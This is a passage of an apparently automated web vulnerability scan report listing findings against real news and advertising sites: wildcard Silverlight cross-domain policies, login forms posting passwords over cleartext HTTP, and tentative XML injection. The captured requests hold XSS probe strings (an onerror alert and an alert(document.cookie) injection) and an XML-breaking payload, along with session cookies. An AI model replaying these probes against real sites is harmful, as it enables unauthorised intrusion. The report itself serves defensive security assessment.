6.8. http://metrics.philly.com/clientaccesspolicy.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://metrics.philly.com
Path:	/clientaccesspolicy.xml

Issue detail

Request

GET /clientaccesspolicy.xml HTTP/1.0
Host: metrics.philly.com

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:11:36 GMT
Server: Omniture DC/2.0.0
xserver: www331
Connection: close
Content-Type: text/html

<access-policy>
   <cross-domain-access>
       <policy>
           <allow-from http-request-headers="*">
               <domain uri="*" />
           </allow-from>
           <grant-to>
               <resource path="/" include-subpaths="true" />
           </
...[SNIP]...

6.9. http://metrics.washingtonpost.com/clientaccesspolicy.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://metrics.washingtonpost.com
Path:	/clientaccesspolicy.xml

Issue detail

Request

GET /clientaccesspolicy.xml HTTP/1.0
Host: metrics.washingtonpost.com

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:13:40 GMT
Server: Omniture DC/2.0.0
xserver: www17
Connection: close
Content-Type: text/html

<access-policy>
   <cross-domain-access>
       <policy>
           <allow-from http-request-headers="*">
               <domain uri="*" />
           </allow-from>
           <grant-to>
               <resource path="/" include-subpaths="true" />
           </
...[SNIP]...

6.10. http://o.sa.aol.com/clientaccesspolicy.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://o.sa.aol.com
Path:	/clientaccesspolicy.xml

Issue detail

Request

GET /clientaccesspolicy.xml HTTP/1.0
Host: o.sa.aol.com

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:18:39 GMT
Server: Omniture DC/2.0.0
xserver: www47
Connection: close
Content-Type: text/html

<access-policy>
   <cross-domain-access>
       <policy>
           <allow-from http-request-headers="*">
               <domain uri="*" />
           </allow-from>
           <grant-to>
               <resource path="/" include-subpaths="true" />
           </
...[SNIP]...

6.11. http://s0.2mdn.net/clientaccesspolicy.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://s0.2mdn.net
Path:	/clientaccesspolicy.xml

Issue detail

Request

GET /clientaccesspolicy.xml HTTP/1.0
Host: s0.2mdn.net

Response

HTTP/1.0 200 OK
Content-Type: text/xml
Last-Modified: Sun, 01 Feb 2009 08:00:00 GMT
Date: Mon, 09 May 2011 19:54:07 GMT
Expires: Tue, 10 May 2011 19:54:07 GMT
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=86400
Age: 62262

<?xml version="1.0" encoding="utf-8"?>
<access-policy>
<cross-domain-access>
<policy>
<allow-from>
<domain uri="*"/>
</allow-from>
<grant-to>
<resource
...[SNIP]...

6.12. http://secure-us.imrworldwide.com/clientaccesspolicy.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://secure-us.imrworldwide.com
Path:	/clientaccesspolicy.xml

Issue detail

Request

GET /clientaccesspolicy.xml HTTP/1.0
Host: secure-us.imrworldwide.com

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:11:46 GMT
Server: Apache
Cache-Control: max-age=604800
Expires: Tue, 17 May 2011 13:11:46 GMT
Last-Modified: Mon, 19 Oct 2009 01:46:36 GMT
ETag: "ff-4adbc4fc"
Accept-Ranges: bytes
Content-Length: 255
Connection: close
Content-Type: application/xml

<?xml version="1.0" encoding="utf-8" ?>
<access-policy>
<cross-domain-access>
<policy>
<allow-from>
<domain uri="*" />
</allow-from>
<grant-to>
<resource path="/" include-subpaths="true" />
</grant
...[SNIP]...

6.13. http://speed.pointroll.com/clientaccesspolicy.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://speed.pointroll.com
Path:	/clientaccesspolicy.xml

Issue detail

Request

GET /clientaccesspolicy.xml HTTP/1.0
Host: speed.pointroll.com

Response

HTTP/1.0 200 OK
Content-Length: 348
Content-Type: text/xml
Last-Modified: Wed, 01 Dec 2010 17:45:39 GMT
Accept-Ranges: bytes
ETag: "80a33917f91cb1:527"
Server: Microsoft-IIS/6.0
P3P: CP="NOI DSP COR PSAo PSDo OUR BUS OTC"
X-Powered-By: ASP.NET
Date: Tue, 10 May 2011 13:14:30 GMT
Connection: close

<?xml version="1.0" encoding="utf-8"?>
<access-policy>
<cross-domain-access>
<policy>
<allow-from http-request-headers="*">
<domain uri="http://*" />
</allow-from>

...[SNIP]...

6.14. http://stats.wordpress.com/clientaccesspolicy.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://stats.wordpress.com
Path:	/clientaccesspolicy.xml

Issue detail

Request

GET /clientaccesspolicy.xml HTTP/1.0
Host: stats.wordpress.com

Response

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 10 May 2011 13:21:22 GMT
Content-Type: text/xml
Connection: close
Content-Length: 309
Last-Modified: Sat, 05 Mar 2011 06:10:06 GMT
Accept-Ranges: bytes

<?xml version="1.0" encoding="utf-8"?>
<access-policy>
<cross-domain-access>
<policy>
<allow-from http-request-headers="*">
<domain uri="*"/>
</allow-from>
<grant-to>

...[SNIP]...

6.15. http://ts1.mm.bing.net/clientaccesspolicy.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://ts1.mm.bing.net
Path:	/clientaccesspolicy.xml

Issue detail

The application publishes a Silverlight cross-domain policy which uses a wildcard to specify allowed domains, and allows access from specific other domains.

Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.

Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.

Request

GET /clientaccesspolicy.xml HTTP/1.0
Host: ts1.mm.bing.net

Response

HTTP/1.0 200 OK
Content-Length: 1766
Content-Type: text/xml
Last-Modified: Tue, 14 Dec 2010 01:03:25 GMT
Date: Tue, 10 May 2011 13:44:10 GMT
Connection: close
Cache-Control: public, max-age=3600

<?xml version="1.0" encoding="utf-8"?>

<access-policy>
<cross-domain-access>
<policy>
</policy>
<policy>
<allow-from http-request-headers="*"
...[SNIP]...
<domain uri="http://*.msn.com" />
...[SNIP]...
<domain uri="http://*.microsoft.com" />
...[SNIP]...
<domain uri="http://*.bing4.com" />
...[SNIP]...
<domain uri="http://*.virtualearth.net" />
...[SNIP]...
<domain uri="http://*.virtualearth-int.net" />
...[SNIP]...

6.16. http://ts2.mm.bing.net/clientaccesspolicy.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://ts2.mm.bing.net
Path:	/clientaccesspolicy.xml

Issue detail

Request

GET /clientaccesspolicy.xml HTTP/1.0
Host: ts2.mm.bing.net

Response

HTTP/1.0 200 OK
Content-Length: 1766
Content-Type: text/xml
Last-Modified: Tue, 14 Dec 2010 01:03:25 GMT
Date: Tue, 10 May 2011 13:44:09 GMT
Connection: close
Cache-Control: public, max-age=3600

<?xml version="1.0" encoding="utf-8"?>

<access-policy>
<cross-domain-access>
<policy>
</policy>
<policy>
<allow-from http-request-headers="*"
...[SNIP]...
<domain uri="http://*.msn.com" />
...[SNIP]...
<domain uri="http://*.microsoft.com" />
...[SNIP]...
<domain uri="http://*.bing4.com" />
...[SNIP]...
<domain uri="http://*.virtualearth.net" />
...[SNIP]...
<domain uri="http://*.virtualearth-int.net" />
...[SNIP]...

7. Cleartext submission of password previous next
There are 7 instances of this issue:

http://www.gather.com/login.action
http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
http://www.philly.com/philly/news/nation_world/121548659.html
http://www.philly.com/s
http://www.tlsubmit.com/affiliate_signup.html
http://www.tlsubmit.com/checkout/member.php
http://www.tlsubmit.com/checkout/signup.php

Issue background

Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defence and monitor the traffic passing through switches.

Issue remediation

The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.

7.1. http://www.gather.com/login.action previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.gather.com
Path:	/login.action

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.gather.com/login.action

The form contains the following password field:

password

Request

GET /login.action?beamBack=%2FviewTag.action HTTP/1.1
Host: www.gather.com
Proxy-Connection: keep-alive
Referer: http://www.gather.com/6360d%3Cimg%20src%3da%20onerror%3dalert(1)%3E1b6979d15ce
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: vis=IL3kPIJ/j/1xZedPQlMWF0oRm+S8xbqzecbX6qOuxS2uZgZwvNHVrznIDPkUuypt2qw+TToQII1aLPO5TlnGt8iivc5mAOxZDlGv2Bt4jLT4QxKKwJ+ccFL7YaPHe2QR; __qca=P0-83218382-1305033248055; gathersid=www07; ref=direct_www; JSESSIONID=A4B71EE9D2B565C9C891BD22CBF9A2D6; __utmz=93515714.1305036047.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/16; __utma=93515714.343032341.1305033248.1305035581.1305036047.3; __utmc=93515714; __utmb=93515714.1.10.1305036047

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 14:07:47 GMT
Server: Apache/2.2.15 (Unix) mod_jk/1.2.28
Content-Length: 16326
Cache-Control: max-age=0
Expires: Tue, 10 May 2011 14:07:47 GMT
Content-Type: text/html;charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">

...[SNIP]...
</div>

<form method="post" action="/login.action" style="margin:0" id="loginForm">
<fieldset class="formSection">
...[SNIP]...
</div>

<input type="password" name="password" id="password" class="textInput " style="width: 154px;"/>

</div>
...[SNIP]...

7.2. http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.geek.com
Path:	/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.geek.com/users/login/

The form contains the following password field:

password

Request

GET /articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/ HTTP/1.1
Host: www.geek.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.2.17
Last-Modified: Tue, 10 May 2011 13:21:36 GMT
Vary: Cookie
X-Pingback: http://www.geek.com/xmlrpc.php
X-Varnish: 1842937612 1842937605
Vary: Accept-Encoding
Expires: Tue, 10 May 2011 13:22:33 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 10 May 2011 13:22:33 GMT
Connection: close
Content-Length: 56377

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
<div class="loginBox">
<form name="login" method="post" action="http://www.geek.com/users/login/">
<div>
...[SNIP]...
<input name="user_login" type="text" id="user_login" class="text" maxlength="40" value="" />
Password:
<input name="password" type="password" id="password" class="text" maxlength="40" />
</div>
...[SNIP]...

7.3. http://www.philly.com/philly/news/nation_world/121548659.html previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.philly.com
Path:	/philly/news/nation_world/121548659.html

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.philly.com/s

The form contains the following password field:

password

Request

GET /philly/news/nation_world/121548659.html HTTP/1.1
Host: www.philly.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Accept-Ranges: bytes
Cache-Control: max-age=600
Content-Type: text/html;charset=utf-8
Date: Tue, 10 May 2011 13:11:23 GMT
Expires: Tue, 10 May 2011 13:21:23 GMT
Last-Modified: Tue, 10 May 2011 13:09:46 GMT
Server: ECS (dca/532A)
Vary: Accept-Encoding
Via: 1.0 dv-c1-r1-u7-b4:3128 (squid)
X-Cache: HIT
X-Server-Name: dv-c1-r1-u24-b3
Content-Length: 220338



...[SNIP]...
<ol><form action="/s" method="post" onsubmit="return(checkForm(this));">
       <input type="hidden" name="action" value="doLogin">
...[SNIP]...
</label>
           <input type="password" name="password" value="">
       </li>
...[SNIP]...

7.4. http://www.philly.com/s previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.philly.com
Path:	/s

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.philly.com/s

The form contains the following password fields:

password1
password2

Request

GET /s?action=reg&requested=y&rurl=http%3A%2F%2Fwww.philly.com%2Fphilly%2Fnews%2Fnation_world%2F121548659.html%3Fef135%27%3Balert%28document.cookie%29%2F%2F4b169261d24%3D1 HTTP/1.1
Host: www.philly.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.philly.com/philly/news/nation_world/121548659.html?ef135%27%3balert(document.cookie)//4b169261d24=1
Cookie: click_mobile=0; splitGroup=b; undefined_s=First%20Visit; s_cc=true; s_ria=flash%20not%20detected%7Csilverlight%204.0; s_nr=1305037213452; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|26E4A4C585161DE6-400001A4E03F1B94[CE]; __qca=P0-1500207897-1305037216583

Response

HTTP/1.1 200 OK
Cache-Control: max-age=600
Content-Type: text/html;charset=utf-8
Date: Tue, 10 May 2011 14:20:20 GMT
Expires: Tue, 10 May 2011 14:30:20 GMT
Server: Apache
Set-Cookie: UID=""; Domain=www.philly.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: UID=""; Domain=www.philly.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Vary: Accept-Encoding
Via: 1.0 sj-c14-r2-u7:3128 (squid)
X-Server-Name: sj-c14-r7-u38-b3
Content-Length: 181052



...[SNIP]...
<br />

   <form action="/s" method="post" onsubmit="return(checkRegForm(this));" name="createAccountForm" id="AccountForm">

<input type="hidden" id="externalLink" name="externalLink"/>
...[SNIP]...
<td><input type="password" name="password1" maxlength="12" size="12" value="" class="field-small"></td>
...[SNIP]...
<td><input type="password" name="password2" maxlength="12" size="12" value="" class="field-small"></td>
...[SNIP]...

7.5. http://www.tlsubmit.com/affiliate_signup.html previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.tlsubmit.com
Path:	/affiliate_signup.html

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.tlsubmit.com/ezGaffcode.php

The form contains the following password field:

passwd

Request

GET /affiliate_signup.html HTTP/1.1
Host: www.tlsubmit.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=109447232.1305048923.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmv=; __utma=109447232.1356486101.1305048923.1305048923.1305048923.1; __utmc=109447232; PHPSESSID=994d065d5f01001f01530ec6d5f0a0bd; __utmb=109447232.6.9.1305048953644

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 17:39:27 GMT
Server: Apache/2.0.54
Last-Modified: Sat, 30 Apr 2011 14:57:04 GMT
ETag: "119a766c-3718-df5000"
Accept-Ranges: bytes
Vary: Accept-Encoding,User-Agent
Content-Type: text/html
Content-Length: 14104

<html>
<head>
<title>Affiliate | Resell TLSubmit Backlinker | 50% Commission | TLSubmit</title>
   <meta name="description" content="Resell the TLSubmit Backlinker for an jaw dropping 50% commissi
...[SNIP]...
<p>
    <form name=affgen method=post action=/ezGaffcode.php>
    <table>
...[SNIP]...
<td><input type=password name=passwd MAXLENGTH=10></td>
...[SNIP]...

7.6. http://www.tlsubmit.com/checkout/member.php previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.tlsubmit.com
Path:	/checkout/member.php

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.tlsubmit.com/checkout/member.php

The form contains the following password field:

amember_pass

Request

GET /checkout/member.php HTTP/1.1
Host: www.tlsubmit.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=109447232.1305048923.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmv=; __utma=109447232.1356486101.1305048923.1305048923.1305048923.1; __utmc=109447232; __utmb=109447232.5.9.1305048945419; PHPSESSID=994d065d5f01001f01530ec6d5f0a0bd

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 17:35:48 GMT
Server: Apache/2.0.54
X-Powered-By: PHP/5.2.14
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; charset=ISO-8859-1
Content-Length: 14045

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Please login
...[SNIP]...


<form name="login" method="post" action="/checkout/member.php">

<table align="center" class="vedit" >
...[SNIP]...
<td><input type="password" name="amember_pass" size="15" /></td>
...[SNIP]...

7.7. http://www.tlsubmit.com/checkout/signup.php previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.tlsubmit.com
Path:	/checkout/signup.php

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.tlsubmit.com/checkout/signup.php

The form contains the following password fields:

pass0
pass1

Request

GET /checkout/signup.php?product_id=1&paysys_id=clickbank HTTP/1.1
Host: www.tlsubmit.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=109447232.1305048923.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmv=; __utma=109447232.1356486101.1305048923.1305048923.1305048923.1; __utmc=109447232; __utmb=109447232.2.9.1305048936457

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 17:35:45 GMT
Server: Apache/2.0.54
X-Powered-By: PHP/5.2.14
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: PHPSESSID=72f2241a0d29b6cd73e9a010dbbd219a; path=/; domain=.tlsubmit.com
Vary: Accept-Encoding
Content-Type: text/html; charset=ISO-8859-1
Content-Length: 21857

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Sign-up | Buy
...[SNIP]...
<div class="container">
<form id="signup" method="post" action="/checkout/signup.php">

<table class="vedit" summary="Signup Form">
...[SNIP]...
<td><input id="f_pass0" type="password" autocomplete="off"
class="{required:true, rangelength:[4, 32]}"
name="pass0" value="" size="15" />
</td>
...[SNIP]...
<td><input id="pass1" type="password" autocomplete="off" class="{equalTo: '#f_pass0'}" name="pass1" value="" size="15" />
</td>
...[SNIP]...

8. XML injection previous next
There are 24 instances of this issue:

http://174.129.88.248/partner.gif [REST URL parameter 1]
http://forum.androidcentral.com/external.php [type parameter]
http://id.washingtonpost.com/identity/public/visitor/create [format parameter]
http://load.exelator.com/load/ [REST URL parameter 1]
http://loadm.exelator.com/load/ [REST URL parameter 1]
http://pixel.quantserve.com/api/segments.json [REST URL parameter 1]
http://pixel.quantserve.com/api/segments.json [REST URL parameter 2]
http://pixel.quantserve.com/seg/r [REST URL parameter 1]
http://platform.twitter.com/anywhere.js [REST URL parameter 1]
http://platform.twitter.com/widgets/tweet_button.html [REST URL parameter 1]
http://platform.twitter.com/widgets/tweet_button.html [REST URL parameter 2]
http://platform0.twitter.com/widgets/tweet_button.html [REST URL parameter 1]
http://platform0.twitter.com/widgets/tweet_button.html [REST URL parameter 2]
http://s.meebocdn.net/cim/script/cim_v92_cim_11_8_0.en.js [REST URL parameter 1]
http://s.meebocdn.net/cim/script/cim_v92_cim_11_8_0.en.js [REST URL parameter 2]
http://s.meebocdn.net/cim/script/cim_v92_cim_11_8_0.en.js [REST URL parameter 3]
http://s.meebocdn.net/cim/script/sandbox_v92_cim_11_8_0.en.js [REST URL parameter 1]
http://s.meebocdn.net/cim/script/sandbox_v92_cim_11_8_0.en.js [REST URL parameter 2]
http://s.meebocdn.net/cim/script/sandbox_v92_cim_11_8_0.en.js [REST URL parameter 3]
http://s3.vpimg.net/vodpod.com.videos.thumbnail/8045516.large.jpg [REST URL parameter 1]
http://s3.vpimg.net/vodpod.com.videos.thumbnail/8045516.large.jpg [REST URL parameter 2]
http://w55c.net/ct/cms-2-frame.html [REST URL parameter 1]
http://w55c.net/ct/cms-2-frame.html [REST URL parameter 2]
http://www.washingtonpost.com//vendor/survey-gizmo.jsp [REST URL parameter 1]

Issue background

XML or SOAP injection vulnerabilities arise when user input is inserted into a server-side XML document or SOAP message in an unsafe way. It may be possible to use XML metacharacters to modify the structure of the resulting XML. Depending on the function in which the XML is used, it may be possible to interfere with the application's logic, to perform unauthorised actions or access sensitive data.

This kind of vulnerability can be difficult to detect and exploit remotely; you should review the application's response, and the purpose which the relevant input performs within the application's functionality, to determine whether it is indeed vulnerable.

Issue remediation

The application should validate or sanitise user input before incorporating it into an XML document or SOAP message. It may be possible to block any input containing XML metacharacters such as < and >. Alternatively, these characters can be replaced with the corresponding entities: < and >.

8.1. http://174.129.88.248/partner.gif [REST URL parameter 1] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://174.129.88.248
Path:	/partner.gif

Issue detail

The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.

Request

GET /partner.gif]]>>?partner=10032&buzzid=5aa834d4bb2efeab1df676685da0518c&buzz=http%3A%2F%2Fwww.huffingtonpost.com%2F2011%2F05%2F07%2Frick-santorum-south-carolina-straw-poll_n_859012.html&title=Rick%20Santorum%20Wins%20South%20Carolina%20Straw%20Poll&url=http%3A%2F%2Fwww.huffingtonpost.com%2F2011%2F05%2F07%2Frick-santorum-south-carolina-straw-poll_n_859012.html&referrer=&z=9253 HTTP/1.1
Host: 174.129.88.248
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Content-Type: text/html
Content-Length: 345
Date: Tue, 10 May 2011 13:34:10 GMT
Server: lighttpd/1.4.19

<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w
...[SNIP]...

8.2. http://forum.androidcentral.com/external.php [type parameter] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://forum.androidcentral.com
Path:	/external.php

Issue detail

The type parameter appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the type parameter. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.

Request

GET /external.php?type=js]]>> HTTP/1.1
Host: forum.androidcentral.com
Proxy-Connection: keep-alive
Referer: http://www.androidcentral.com/android-central-google-io-2011
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: spe
Date: Tue, 10 May 2011 13:33:12 GMT
Content-Type: text/xml; charset=ISO-8859-1
Connection: keep-alive
X-Powered-By: PHP/5.3.5
Set-Cookie: aclastvisit=1305034392; expires=Wed, 09-May-2012 13:33:12 GMT; path=/; domain=.androidcentral.com
Set-Cookie: aclastactivity=0; expires=Wed, 09-May-2012 13:33:12 GMT; path=/; domain=.androidcentral.com
Pragma: private
X-UA-Compatible: IE=7
Cache-control: max-age=1305036224
Expires: Tue, 10 May 2011 14:03:44 GMT
Last-Modified: Tue, 10 May 2011 13:03:44 GMT
ETag: "13b1222731b46cf7dafb9a06684e31d9"
Content-Length: 15622

<?xml version="1.0" encoding="ISO-8859-1"?>

<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
<channel>
<title>Android Foru
...[SNIP]...

8.3. http://id.washingtonpost.com/identity/public/visitor/create [format parameter] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://id.washingtonpost.com
Path:	/identity/public/visitor/create

Issue detail

The format parameter appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the format parameter. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.

Request

GET /identity/public/visitor/create?format=json]]>>&jsonp=&jsonp_callback=jsonp1305033204683 HTTP/1.1
Host: id.washingtonpost.com
Proxy-Connection: keep-alive
Referer: http://www.washingtonpost.com/blogs/right-turn/post/rick-santorum-doesnt-understand-america/2011/03/29/AFHhSbBG_blog.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
